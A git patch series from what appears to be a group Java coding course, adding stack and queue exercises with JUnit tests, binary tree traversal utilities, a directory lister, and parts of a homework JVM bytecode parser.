+++ b/group01/1298552064/src/week09/basic/TwoStackInOneArray.java
@@ -0,0 +1,170 @@
+package week09.basic;
+
+import java.util.Arrays;
+import java.util.EmptyStackException;
+
+/**
+ * 用一个数组实现两个栈
+ * 将数组的起始位置看作是第一个栈的栈底，将数组的尾部看作第二个栈的栈底，压栈时，栈顶指针分别向中间移动，直到两栈顶指针相遇，则扩容。
+ * @author gallenzhang
+ *
+ */
+public class TwoStackInOneArray {
+	private int DEFAULT_SIZE = 10;
+	
+	Object[] data = null;
+	
+	private int size1;
+	
+	private int size2;
+	
+	public TwoStackInOneArray(int size){
+		if(size <= 0){
+			throw new IllegalArgumentException("size can not be negative or zero");
+		}
+		data = new Object[size];
+	}
+	
+	public TwoStackInOneArray(){
+		data = new Object[DEFAULT_SIZE];
+	}
+
+	/**
+	 * 向第一个栈中压入元素
+	 * 
+	 * @param o
+	 */
+	public void push1(Object o) {
+		ensureCapacity(size1 + size2 + 1);
+		data[size1] = o;
+		size1 ++;
+	}
+
+	/**
+	 * 从第一个栈中弹出元素
+	 * 
+	 * @return
+	 */
+	public Object pop1() {
+		checkStack1Empty();
+		Object obj = data[size1 - 1];
+		data[size1 - 1] = null;
+		size1--;
+		return obj;
+	}
+
+	/**
+	 * 获取第一个栈的栈顶元素
+	 * 
+	 * @return
+	 */
+
+	public Object peek1() {
+		checkStack1Empty();
+		return data[size1-1];
+	}
+	
+	/**
+	 * 第一个栈是否为空
+	 * @return
+	 */
+	public boolean isStack1Empty(){
+		return size1 == 0 ;
+	}
+	
+	/**
+	 * 获取第一个栈的大小
+	 * @return
+	 */
+	public int size1(){
+		return size1;
+	}
+
+	/*
+	 * 向第二个栈压入元素
+	 */
+	public void push2(Object o) {
+		ensureCapacity(size1 + size2 + 1);
+		data[data.length - size2 - 1] = o;
+		size2 ++;
+	}
+
+	/**
+	 * 从第二个栈弹出元素
+	 * 
+	 * @return
+	 */
+	public Object pop2() {
+		checkStack2Empty();
+		Object obj = data[data.length - size2];
+		data[data.length - size2] = null;
+		size2 --;
+		return obj;
+	}
+
+	/**
+	 * 获取第二个栈的栈顶元素
+	 * 
+	 * @return
+	 */
+
+	public Object peek2() {
+		checkStack2Empty();
+		if(size2 == 0){
+			throw new EmptyStackException();
+		}
+		return data[data.length - size2];
+	}
+	
+	public boolean isStack2Empty(){
+		return size2 == 0 ;
+	}
+	
+	public int size2(){
+		return size2;
+	}
+	
+	private void ensureCapacity(int minCapacity){
+		int capacity = data.length;
+		if (minCapacity > capacity) {
+			capacity += capacity / 2;
+			grow(capacity);
+		}
+	}
+	
+	private void checkStack1Empty(){
+		if(size1 == 0){
+			throw new EmptyStackException();
+		}
+	}
+	
+	private void checkStack2Empty(){
+		if(size2 == 0){
+			throw new EmptyStackException();
+		}
+	}
+	
+	private void grow(int capacity){
+		data = Arrays.copyOf(data, capacity);
+		System.arraycopy(data, size1, data, data.length - size2, size2);
+		for(int i = size1; i < data.length - size2;i++){
+			data[i] = null;
+		}
+	}
+	
+	@Override
+	public String toString(){
+		StringBuffer sb = new StringBuffer("[");
+		for(int i=0; i < data.length; i++){
+			if(i == data.length - 1){
+				sb.append(data[i]);
+			}else{
+				sb.append(data[i]);
+				sb.append(",");
+			}
+		}
+		sb.append("]");
+		return sb.toString();
+	}
+	
+}
diff --git a/group01/1298552064/src/week09/test/QuickMinStackTest.java b/group01/1298552064/src/week09/test/QuickMinStackTest.java
new file mode 100644
index 0000000000..8078cabeef
--- /dev/null
+++ b/group01/1298552064/src/week09/test/QuickMinStackTest.java
@@ -0,0 +1,43 @@
+package week09.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week09.basic.QuickMinStack;
+
+public class QuickMinStackTest {
+	
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		QuickMinStack stack = new QuickMinStack();
+		stack.push(3);
+		stack.push(5);
+		stack.push(2);
+		stack.push(8);
+		stack.push(1);
+		stack.push(6);
+		
+		Assert.assertEquals(1, stack.findMin());
+
+		Assert.assertEquals(6, stack.pop());
+		Assert.assertEquals(1, stack.pop());
+		
+		Assert.assertEquals(2, stack.findMin());
+		
+		Assert.assertEquals(8, stack.pop());
+		Assert.assertEquals(2, stack.pop());
+		
+		Assert.assertEquals(3, stack.findMin());
+	}
+	
+}
diff --git a/group01/1298552064/src/week09/test/StackWithTwoQueuesTest.java b/group01/1298552064/src/week09/test/StackWithTwoQueuesTest.java
new file mode 100644
index 0000000000..d582dfa7f9
--- /dev/null
+++ b/group01/1298552064/src/week09/test/StackWithTwoQueuesTest.java
@@ -0,0 +1,45 @@
+package week09.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week09.basic.StackWithTwoQueues;
+
+public class StackWithTwoQueuesTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		StackWithTwoQueues stack = new StackWithTwoQueues();
+		
+		stack.push(1);
+		stack.push(2);
+		stack.push(3);
+		stack.push(4);
+		
+		Assert.assertEquals("[1,2,3,4]", stack.toString());
+		Assert.assertEquals(4L, stack.size());
+
+		stack.pop();
+		stack.pop();
+		Assert.assertEquals("[1,2]", stack.toString());
+		Assert.assertEquals(2L, stack.size());
+		
+		int item = stack.peek();
+		Assert.assertEquals("[1,2]", stack.toString());
+		Assert.assertEquals(2L, stack.size());
+		Assert.assertEquals(2L, item);
+		
+		stack.pop();
+		stack.pop();
+		Assert.assertEquals("[]", stack.toString());
+	}
+}
diff --git a/group01/1298552064/src/week09/test/TwoStackInOneArrayTest.java b/group01/1298552064/src/week09/test/TwoStackInOneArrayTest.java
new file mode 100644
index 0000000000..536630fd4d
--- /dev/null
+++ b/group01/1298552064/src/week09/test/TwoStackInOneArrayTest.java
@@ -0,0 +1,48 @@
+package week09.test;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import week09.basic.TwoStackInOneArray;
+
+public class TwoStackInOneArrayTest {
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void test() {
+		TwoStackInOneArray ts = new TwoStackInOneArray(5);
+		ts.push1(1);
+		ts.push1(2);
+		
+		ts.push2(5);
+		ts.push2(6);
+		ts.push2(7);
+		
+		Assert.assertEquals("[1,2,7,6,5]", ts.toString());
+		
+		Object o = ts.peek1();
+		Assert.assertEquals(2, o);
+		
+		o = ts.peek2();
+		Assert.assertEquals(7, o);
+		
+		Assert.assertEquals(2, ts.pop1());
+		Assert.assertEquals(7, ts.pop2());
+		
+		Assert.assertEquals("[1,null,null,6,5]", ts.toString());
+		
+		ts.push1(2);
+		ts.push1(3);
+		
+		ts.push2(7);
+		Assert.assertEquals("[1,2,3,null,7,6,5]", ts.toString());
+	}
+}

From f3b08c1982c68b054067d9e0337b90936b52f476 Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Wed, 10 May 2017 10:34:22 +0800
Subject: [PATCH 248/262] BinaryTreeUtil

---
 .../com/coding/basic/tree/BinaryTreeUtil.java | 130 ++++++++++++++++++
 1 file changed, 130 insertions(+)
 create mode 100644 group04/1299310140/src/com/coding/basic/tree/BinaryTreeUtil.java

diff --git a/group04/1299310140/src/com/coding/basic/tree/BinaryTreeUtil.java b/group04/1299310140/src/com/coding/basic/tree/BinaryTreeUtil.java
new file mode 100644
index 0000000000..6d48f6e68f
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/tree/BinaryTreeUtil.java
@@ -0,0 +1,130 @@
+package com.coding.basic.tree;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class BinaryTreeUtil {
+	/**
+	 * 用 递归 的方式实现对二叉树的 前序 遍历， 需要通过BinaryTreeUtilTest测试
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> preOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		
+		if(root == null || root.getData() == null){
+			return result;
+		}
+		
+		result.add(root.getData());
+		result.addAll(preOrderVisit(root.getLeft()));
+		result.addAll(preOrderVisit(root.getRight()));
+		
+		return result;
+	}
+
+	/**
+	 * 用 递归 的方式实现对二叉树的 中序 遍历
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> inOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		
+		if(root == null || root.getData() == null){
+			return result;
+		}
+		
+		result.addAll(inOrderVisit(root.getLeft()));
+		result.add(root.getData());
+		result.addAll(inOrderVisit(root.getRight()));
+		
+		return result;
+	}
+
+	/**
+	 * 用 递归 的方式实现对二叉树的 后序 遍历
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> postOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		
+		if(root == null || root.getData() == null){
+			return result;
+		}
+		
+		result.addAll(postOrderVisit(root.getLeft()));
+		result.addAll(postOrderVisit(root.getRight()));
+		result.add(root.getData());
+		
+		return result;
+	}
+	
+	/**
+	 * 用 非递归 的方式实现对二叉树的 前序 遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> preOrderWithoutRecursion(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();		
+		
+		if(root == null || root.getData() == null){
+			return result;
+		}
+		
+		Stack<BinaryTreeNode<T>> stack = new Stack<BinaryTreeNode<T>>();
+		stack.push(root);
+		while(!stack.isEmpty()){
+			BinaryTreeNode<T> temp = stack.pop();
+			result.add(temp.getData());
+			
+			if(temp.getRight() != null){
+				stack.push(temp.getRight());
+			}
+			
+			if(temp.getLeft() != null){
+				stack.push(temp.getLeft());
+			}
+		}
+		
+		return result;
+	}
+	
+	/**
+	 * 用 非递归 的方式实现对二叉树的 中序 遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> inOrderWithoutRecursion(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		
+		if(root == null || root.getData() == null){
+			return result;
+		}
+		
+		Stack<BinaryTreeNode<T>> stack = new Stack<BinaryTreeNode<T>>();
+		while(root != null){
+			stack.push(root);
+			root = root.getLeft();
+		}
+		
+		while(!stack.isEmpty()){
+			BinaryTreeNode<T> temp = stack.pop();
+			result.add(temp.getData());
+			
+			temp = temp.getRight();
+			while(temp != null){
+				stack.push(temp);
+				temp = temp.getLeft();
+			}
+		}
+		
+		return result;
+	}
+	
+}

From 4cfa1178557a44a6a7b3153d7176046dac9f4e12 Mon Sep 17 00:00:00 2001
From: '1299310140' <'13437282785@163.com'>
Date: Wed, 10 May 2017 12:47:43 +0800
Subject: [PATCH 249/262] FileList

---
 .../src/com/coding/basic/tree/FileList.java   | 28 +++++++++++++++++++
 1 file changed, 28 insertions(+)
 create mode 100644 group04/1299310140/src/com/coding/basic/tree/FileList.java

diff --git a/group04/1299310140/src/com/coding/basic/tree/FileList.java b/group04/1299310140/src/com/coding/basic/tree/FileList.java
new file mode 100644
index 0000000000..a346803663
--- /dev/null
+++ b/group04/1299310140/src/com/coding/basic/tree/FileList.java
@@ -0,0 +1,28 @@
+package com.coding.basic.tree;
+
+import java.io.File;
+
+public class FileList {
+	
+	public static void list(File f,int l) {
+		if(!f.isFile() && !f.isDirectory()){
+			return;
+		}
+		
+		for(int i = 0;i < l;i++){//对齐
+			System.out.print("|--");
+		}
+		
+		System.out.println(f.getName());
+		if(f.isDirectory()){
+			File[] files_L = f.listFiles();
+			for(File file : files_L){
+				list(file,l+1);
+			}
+		}
+	}
+	
+	public static void main(String[] args){
+		list(new File("C:/"),0);
+	}
+}

From b20c520e5c8c0be9408bba3674c3d372ea253425 Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Thu, 11 May 2017 16:02:46 +0800
Subject: [PATCH 250/262] the seventh homework --- JVM4 commandParser

---
 group19/1294642551/src/jvm/attr/CodeAttr.java |  43 +++--
 group19/1294642551/src/jvm/clz/ClassFile.java | 112 +++++++++++
 .../1294642551/src/jvm/cmd/CommandParser.java | 175 ++++++++++++++++++
 group19/1294642551/src/jvm/method/Method.java |   5 +
 .../test/jvm/ClassFileloaderTest.java         |  79 ++++++++
 5 files changed, 403 insertions(+), 11 deletions(-)
 create mode 100644 group19/1294642551/src/jvm/clz/ClassFile.java
 create mode 100644 group19/1294642551/src/jvm/cmd/CommandParser.java

diff --git a/group19/1294642551/src/jvm/attr/CodeAttr.java b/group19/1294642551/src/jvm/attr/CodeAttr.java
index 8552e5d17f..e3dde08c77 100644
--- a/group19/1294642551/src/jvm/attr/CodeAttr.java
+++ b/group19/1294642551/src/jvm/attr/CodeAttr.java
@@ -1,5 +1,7 @@
 package jvm.attr;
 
+import java.util.Arrays;
+
 import jvm.clz.ClassFile;
 import jvm.cmd.ByteCodeCommand;
 import jvm.cmd.CommandParser;
@@ -12,20 +14,27 @@ public class CodeAttr extends AttributeInfo {
 	private int maxLocals ;
 	private int codeLen ;
 	private String code;
-	public String getCode() {
-		return code;
-	}
-
 	private LineNumberTable lineNumTable;
 	private LocalVariableTable localVarTable;
 	private StackMapTable stackMapTable;
 	
-	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code) {
+	private ByteCodeCommand[] cmds ;
+	
+	public String getCode() {
+		return code;
+	}
+	
+	public ByteCodeCommand[] getCmds() {		
+		return cmds;
+	}
+	
+	public CodeAttr(int attrNameIndex, int attrLen, int maxStack, int maxLocals, int codeLen,String code, ByteCodeCommand[] cmds) {
 		super(attrNameIndex, attrLen);
 		this.maxStack = maxStack;
 		this.maxLocals = maxLocals;
 		this.codeLen = codeLen;
 		this.code = code;
+		this.cmds = cmds;
 	}
 
 	public void setLineNumberTable(LineNumberTable t) {
@@ -45,8 +54,18 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 		int codeLen = iter.nextU4ToInt();
 		String code = iter.nextUxToHexString(codeLen);
 		
-		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code);
+		ByteCodeCommand[] cmds = CommandParser.parse(clzFile, code);
+//		System.out.println(Arrays.toString(cmds));
+		
+		CodeAttr codeAttr = new CodeAttr(attrNameIndex, attrLen, maxStack, maxLocals, codeLen, code, cmds);
+		
 		int exceptionLen = iter.nextU2ToInt();
+		if(exceptionLen>0){
+			String exTable = iter.nextUxToHexString(exceptionLen);
+			System.out.println("Encountered exception table , just ignore it :" + exTable);
+			
+		}
+		
 		int childAttrLen = iter.nextU2ToInt();
 		
 		
@@ -59,6 +78,9 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 			}else if(AttributeInfo.LOCAL_VAR_TABLE.equalsIgnoreCase(childAttrName)){
 				LocalVariableTable localVariableTable = LocalVariableTable.parse(iter);
 				codeAttr.setLocalVariableTable(localVariableTable);
+			}else if (AttributeInfo.STACK_MAP_TABLE.equalsIgnoreCase(childAttrName)){
+				StackMapTable t = StackMapTable.parse(iter);
+				codeAttr.setStackMapTable(t);
 			}else{
 				throw new RuntimeException("code 的子属性 "+ childAttrName+"没有解析");
 			}
@@ -69,11 +91,10 @@ public static CodeAttr parse(ClassFile clzFile, ByteCodeIterator iter){
 
 	public String toString(ConstantPool pool){
 		StringBuilder buffer = new StringBuilder();
-		//buffer.append("Code:").append(code).append("\n");
-//		for(int i=0;i<cmds.length;i++){
-//			buffer.append(cmds[i].toString(pool)).append("\n");
-//		}
-//		buffer.append("\n");
+		for(int i=0;i<cmds.length;i++){
+			buffer.append(cmds[i].toString(pool)).append("\n");
+		}
+		buffer.append("\n");
 		buffer.append(this.lineNumTable.toString());
 		buffer.append(this.localVarTable.toString(pool));
 		return buffer.toString();
diff --git a/group19/1294642551/src/jvm/clz/ClassFile.java b/group19/1294642551/src/jvm/clz/ClassFile.java
new file mode 100644
index 0000000000..2abe746659
--- /dev/null
+++ b/group19/1294642551/src/jvm/clz/ClassFile.java
@@ -0,0 +1,112 @@
+package jvm.clz;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import jvm.constant.ClassInfo;
+import jvm.constant.ConstantPool;
+import jvm.field.Field;
+import jvm.method.Method;
+
+public class ClassFile {
+	
+	private int minorVersion;
+	private int majorVersion;
+	
+	private AccessFlag accessFlag;
+	private ClassIndex clzIndex;
+	private ConstantPool pool;
+	private List<Field> fields = new ArrayList<Field>();
+	private List<Method> methods = new ArrayList<Method>();
+	
+	public ClassIndex getClzIndex() {
+		return clzIndex;
+	}
+	public AccessFlag getAccessFlag() {
+		return accessFlag;
+	}
+	public void setAccessFlag(AccessFlag accessFlag) {
+		this.accessFlag = accessFlag;
+	}
+	
+	
+	
+	public ConstantPool getConstantPool() {		
+		return pool;
+	}
+	public int getMinorVersion() {
+		return minorVersion;
+	}
+	public void setMinorVersion(int minorVersion) {
+		this.minorVersion = minorVersion;
+	}
+	public int getMajorVersion() {
+		return majorVersion;
+	}
+	public void setMajorVersion(int majorVersion) {
+		this.majorVersion = majorVersion;
+	}
+	public void setConstPool(ConstantPool pool) {
+		this.pool = pool;
+		
+	}
+	public void setClassIndex(ClassIndex clzIndex) {
+		this.clzIndex = clzIndex;		
+	}
+	
+	public void addField(Field f){
+		this.fields.add(f);
+	}
+	public List<Field> getFields(){
+		return this.fields;
+	}
+	public void addMethod(Method m){
+		this.methods.add(m);
+	}
+	public List<Method> getMethods() {
+		return methods;
+	}
+	
+	
+	public void print(){
+		
+		if(this.accessFlag.isPublicClass()){
+			System.out.println("Access flag : public  ");
+		}
+		System.out.println("Class Name:"+ getClassName());
+		
+		System.out.println("Super Class Name:"+ getSuperClassName());
+		
+		
+	}
+	
+	public String getClassName(){
+		int thisClassIndex = this.clzIndex.getThisClassIndex();
+		ClassInfo thisClass = (ClassInfo)this.getConstantPool().getConstantInfo(thisClassIndex);
+		return thisClass.getClassName();
+	}
+	public String getSuperClassName(){
+		ClassInfo superClass = (ClassInfo)this.getConstantPool().getConstantInfo(this.clzIndex.getSuperClassIndex());
+		return superClass.getClassName();
+	}
+	
+	public Method getMethod(String methodName, String paramAndReturnType){
+		
+		for(Method m :methods){
+			
+			int nameIndex = m.getNameIndex();
+			int descriptionIndex = m.getDescriptorIndex();
+			
+			String name = this.getConstantPool().getUTF8String(nameIndex);
+			String desc = this.getConstantPool().getUTF8String(descriptionIndex);
+			if(name.equals(methodName) && desc.equals(paramAndReturnType)){
+				return m;
+			}
+		}
+		return null;
+	}
+	public Method getMainMethod(){
+		
+		return getMethod("main","([Ljava/lang/String;)V");
+	}
+}
diff --git a/group19/1294642551/src/jvm/cmd/CommandParser.java b/group19/1294642551/src/jvm/cmd/CommandParser.java
new file mode 100644
index 0000000000..8529a49ed5
--- /dev/null
+++ b/group19/1294642551/src/jvm/cmd/CommandParser.java
@@ -0,0 +1,175 @@
+package jvm.cmd;
+
+import java.util.ArrayList;
+import java.util.List;
+
+import jvm.clz.ClassFile;
+
+public class CommandParser {
+	
+	public static final String aconst_null = "01";
+	public static final String new_object = "BB";
+	public static final String lstore = "37";
+	public static final String invokespecial = "B7";
+	public static final String invokevirtual = "B6";
+	public static final String getfield = "B4";
+	public static final String putfield = "B5";
+	public static final String getstatic = "B2";
+	public static final String ldc = "12";
+	public static final String dup = "59";
+	public static final String bipush = "10";
+	public static final String aload_0 = "2A";
+	public static final String aload_1 = "2B";
+	public static final String aload_2 = "2C";
+	public static final String iload = "15";
+	public static final String iload_1 = "1B";
+	public static final String iload_2 = "1C";
+	public static final String iload_3 = "1D";
+	public static final String fload_3 = "25";
+
+	public static final String voidreturn = "B1";
+	public static final String ireturn = "AC";
+	public static final String freturn = "AE";
+
+	public static final String astore_1 = "4C";
+	public static final String if_icmp_ge = "A2";
+	public static final String if_icmple = "A4";
+	public static final String goto_no_condition = "A7";
+	public static final String iconst_0 = "03";
+	public static final String iconst_1 = "04";
+	public static final String istore_1 = "3C";
+	public static final String istore_2 = "3D";
+	public static final String iadd = "60";
+	public static final String iinc = "84";
+
+	public static ByteCodeCommand[] parse(ClassFile clzFile, String codes) {
+		if(codes == null || codes.length()== 0){
+			throw new RuntimeException("code 代码不正确");
+		}
+		
+		codes = codes.toUpperCase();
+		CommandIterator iter = new CommandIterator(codes);
+		ArrayList<ByteCodeCommand> cmds = new ArrayList<ByteCodeCommand>();
+
+		while(iter.hasNext()){
+			String opCode = iter.next2CharAsString();
+			int cmdsLen = cmds.size();
+			addNoOperandCmd(clzFile, cmds, opCode);
+			addOneOperandCmd(clzFile, iter, cmds, opCode);
+			addTwoOperandCmd(clzFile, iter, cmds, opCode);
+			
+			if(cmds.size() == cmdsLen){//说明opCode没有加入进cmds
+				throw new RuntimeException("oprate code: "+opCode+"未实现");
+			}
+
+		}
+		
+		calcuateOffset(cmds);//计算偏移
+		ByteCodeCommand[] result = new ByteCodeCommand[cmds.size()];
+		cmds.toArray(result);
+		
+		
+		return result;
+	}
+
+	public static void addNoOperandCmd(ClassFile clzFile,
+			ArrayList<ByteCodeCommand> cmds, String opCode ) {
+		NoOperandCmd noOperandCmd = null;
+		if(opCode.equals(aload_0) || opCode.equals(aload_1) || opCode.equals(aload_2) 
+				|| opCode.equals(iload_1) || opCode.equals(iload_2) ||opCode.equals(iload_3) 
+				|| opCode.equals(fload_3) || opCode.equals(voidreturn) || opCode.equals(dup) 
+				|| opCode.equals(astore_1)){
+			noOperandCmd = new NoOperandCmd(clzFile, opCode);
+			cmds.add(noOperandCmd);
+		}
+	}
+
+	public static void addOneOperandCmd(ClassFile clzFile,
+			CommandIterator iter, ArrayList<ByteCodeCommand> cmds, String opCode ) {
+		OneOperandCmd oneOperandCmd = null;
+		boolean flag = false;
+		if(bipush.equals(opCode)){
+			oneOperandCmd = new BiPushCmd(clzFile, opCode);
+			flag = true;
+		}else if(ldc.equals(opCode)){
+			oneOperandCmd = new LdcCmd(clzFile, opCode);
+			flag = true;
+		}
+		if(flag){
+			oneOperandCmd.setOperand(iter.next2CharAsInt());
+			cmds.add(oneOperandCmd);
+		}
+	}
+
+	public static void addTwoOperandCmd(ClassFile clzFile,
+			CommandIterator iter, ArrayList<ByteCodeCommand> cmds, String opCode) {
+		TwoOperandCmd twoOperandCmd = null;
+		boolean flag = false;
+		if(new_object.equals(opCode)){
+			twoOperandCmd = new NewObjectCmd(clzFile, opCode);
+			flag = true;
+
+		}else if(invokespecial.equals(opCode)){
+			twoOperandCmd = new InvokeSpecialCmd(clzFile, opCode);
+			flag = true;
+			
+		}else if(invokevirtual.equals(opCode)){
+			twoOperandCmd = new InvokeVirtualCmd(clzFile, opCode);
+			flag = true;
+			
+		}else if(getfield.equals(opCode)){
+			twoOperandCmd = new GetFieldCmd(clzFile, opCode);
+			flag = true;
+			
+		}else if(getstatic.equals(opCode)){
+			twoOperandCmd = new GetStaticFieldCmd(clzFile, opCode);
+			flag = true;
+			
+		}else if(putfield.equals(opCode)){
+			twoOperandCmd = new PutFieldCmd(clzFile, opCode);
+			flag = true;
+			
+		}
+		
+		if(flag){
+			twoOperandCmd.setOprand1(iter.next2CharAsInt());
+			twoOperandCmd.setOprand2(iter.next2CharAsInt());
+			cmds.add(twoOperandCmd);
+		}
+	}
+
+	private static void calcuateOffset(List<ByteCodeCommand> cmds) {
+
+		int offset = 0;
+		for (ByteCodeCommand cmd : cmds) {
+			cmd.setOffset(offset);
+			offset += cmd.getLength();
+		}
+
+	}
+
+	private static class CommandIterator {
+		String codes = null;
+		int pos = 0;
+
+		CommandIterator(String codes) {
+			this.codes = codes;
+		}
+
+		public boolean hasNext() {
+			return pos < this.codes.length();
+		}
+
+		public String next2CharAsString() {
+			String result = codes.substring(pos, pos + 2);
+			pos += 2;
+			return result;
+		}
+
+		public int next2CharAsInt() {
+			String s = this.next2CharAsString();
+			return Integer.valueOf(s, 16).intValue();
+		}
+
+	}
+}
diff --git a/group19/1294642551/src/jvm/method/Method.java b/group19/1294642551/src/jvm/method/Method.java
index e2f4a9cbd4..5749091ffe 100644
--- a/group19/1294642551/src/jvm/method/Method.java
+++ b/group19/1294642551/src/jvm/method/Method.java
@@ -1,6 +1,7 @@
 package jvm.method;
 
 import jvm.clz.ClassFile;
+import jvm.cmd.ByteCodeCommand;
 import jvm.attr.AttributeInfo;
 import jvm.attr.CodeAttr;
 import jvm.constant.ConstantPool;
@@ -90,5 +91,9 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 		return method;
 		
 	}
+	
+	public ByteCodeCommand[] getCmds() {		
+		return this.getCodeAttr().getCmds();
+	}
 
 }
diff --git a/group19/1294642551/test/jvm/ClassFileloaderTest.java b/group19/1294642551/test/jvm/ClassFileloaderTest.java
index be5ae2ae7c..d0f4ca4186 100644
--- a/group19/1294642551/test/jvm/ClassFileloaderTest.java
+++ b/group19/1294642551/test/jvm/ClassFileloaderTest.java
@@ -10,6 +10,10 @@
 
 import jvm.clz.ClassFile;
 import jvm.clz.ClassIndex;
+import jvm.cmd.BiPushCmd;
+import jvm.cmd.ByteCodeCommand;
+import jvm.cmd.OneOperandCmd;
+import jvm.cmd.TwoOperandCmd;
 import jvm.constant.ClassInfo;
 import jvm.constant.ConstantPool;
 import jvm.constant.MethodRefInfo;
@@ -264,6 +268,81 @@ private void assertMethodEquals(ConstantPool pool,Method m , String expectedName
 		Assert.assertEquals(expectedDesc, methodDesc);
 		Assert.assertEquals(expectedCode, code);
     }
+    
+    
+    @Test
+    public void testByteCodeCommand(){
+    	{
+	    	Method initMethod = this.clzFile.getMethod("<init>", "(Ljava/lang/String;I)V");
+	    	ByteCodeCommand [] cmds = initMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: invokespecial #12", cmds[1]);
+	    	assertOpCodeEquals("4: aload_0", cmds[2]);
+	    	assertOpCodeEquals("5: aload_1", cmds[3]);
+	    	assertOpCodeEquals("6: putfield #15", cmds[4]);
+	    	assertOpCodeEquals("9: aload_0", cmds[5]);
+	    	assertOpCodeEquals("10: iload_2", cmds[6]);
+	    	assertOpCodeEquals("11: putfield #17", cmds[7]);
+	    	assertOpCodeEquals("14: return", cmds[8]);
+    	}
+    	
+    	{
+	    	Method setNameMethod = this.clzFile.getMethod("setName", "(Ljava/lang/String;)V");
+	    	ByteCodeCommand [] cmds = setNameMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: aload_0", cmds[0]);
+	    	assertOpCodeEquals("1: aload_1", cmds[1]);
+	    	assertOpCodeEquals("2: putfield #15", cmds[2]);
+	    	assertOpCodeEquals("5: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method sayHelloMethod = this.clzFile.getMethod("sayHello", "()V");
+	    	ByteCodeCommand [] cmds = sayHelloMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: getstatic #28", cmds[0]);
+	    	assertOpCodeEquals("3: ldc #34", cmds[1]);
+	    	assertOpCodeEquals("5: invokevirtual #36", cmds[2]);
+	    	assertOpCodeEquals("8: return", cmds[3]);
+	    	
+    	}
+    	
+    	{
+	    	Method mainMethod = this.clzFile.getMainMethod();
+	    	
+	    	ByteCodeCommand [] cmds = mainMethod.getCmds();
+	    	
+	    	assertOpCodeEquals("0: new #1", cmds[0]);
+	    	assertOpCodeEquals("3: dup", cmds[1]);
+	    	assertOpCodeEquals("4: ldc #43", cmds[2]);
+	    	assertOpCodeEquals("6: bipush 29", cmds[3]);
+	    	assertOpCodeEquals("8: invokespecial #45", cmds[4]);
+	    	assertOpCodeEquals("11: astore_1", cmds[5]);
+	    	assertOpCodeEquals("12: aload_1", cmds[6]);
+	    	assertOpCodeEquals("13: invokevirtual #47", cmds[7]);
+	    	assertOpCodeEquals("16: return", cmds[8]);
+    	}
+    	
+    }
+   
+    private void assertOpCodeEquals(String expected, ByteCodeCommand cmd){
+    	
+    	String acctual = cmd.getOffset()+": "+cmd.getReadableCodeText();
+    	
+    	if(cmd instanceof OneOperandCmd){
+    		if(cmd instanceof BiPushCmd){
+    			acctual += " " + ((OneOperandCmd)cmd).getOperand();
+    		} else{
+    			acctual += " #" + ((OneOperandCmd)cmd).getOperand();
+    		}
+    	}
+    	if(cmd instanceof TwoOperandCmd){
+    		acctual += " #" + ((TwoOperandCmd)cmd).getIndex();
+    	}
+    	Assert.assertEquals(expected, acctual);
+    }
 
  
 }

From 7c294c0944869720a47d147a996bf2d32791af2f Mon Sep 17 00:00:00 2001
From: Jane_Zhou <1294642551@qq.com>
Date: Thu, 11 May 2017 16:44:04 +0800
Subject: [PATCH 251/262] the seventh homework ---JVM4 javap

---
 .../src/jvm/constant/ClassInfo.java           | 28 ++++++
 .../src/jvm/print/ClassFilePrinter.java       | 54 ++++++++++++
 .../src/jvm/print/ConstantPoolPrinter.java    | 87 +++++++++++++++++++
 3 files changed, 169 insertions(+)
 create mode 100644 group19/1294642551/src/jvm/constant/ClassInfo.java
 create mode 100644 group19/1294642551/src/jvm/print/ClassFilePrinter.java
 create mode 100644 group19/1294642551/src/jvm/print/ConstantPoolPrinter.java

diff --git a/group19/1294642551/src/jvm/constant/ClassInfo.java b/group19/1294642551/src/jvm/constant/ClassInfo.java
new file mode 100644
index 0000000000..4a3fb0474a
--- /dev/null
+++ b/group19/1294642551/src/jvm/constant/ClassInfo.java
@@ -0,0 +1,28 @@
+package jvm.constant;
+
+public class ClassInfo extends ConstantInfo {
+	private int type = ConstantInfo.CLASS_INFO;
+	private int utf8Index ;
+	public ClassInfo(ConstantPool pool) {
+		super(pool);
+	}
+	public int getUtf8Index() {
+		return utf8Index;
+	}
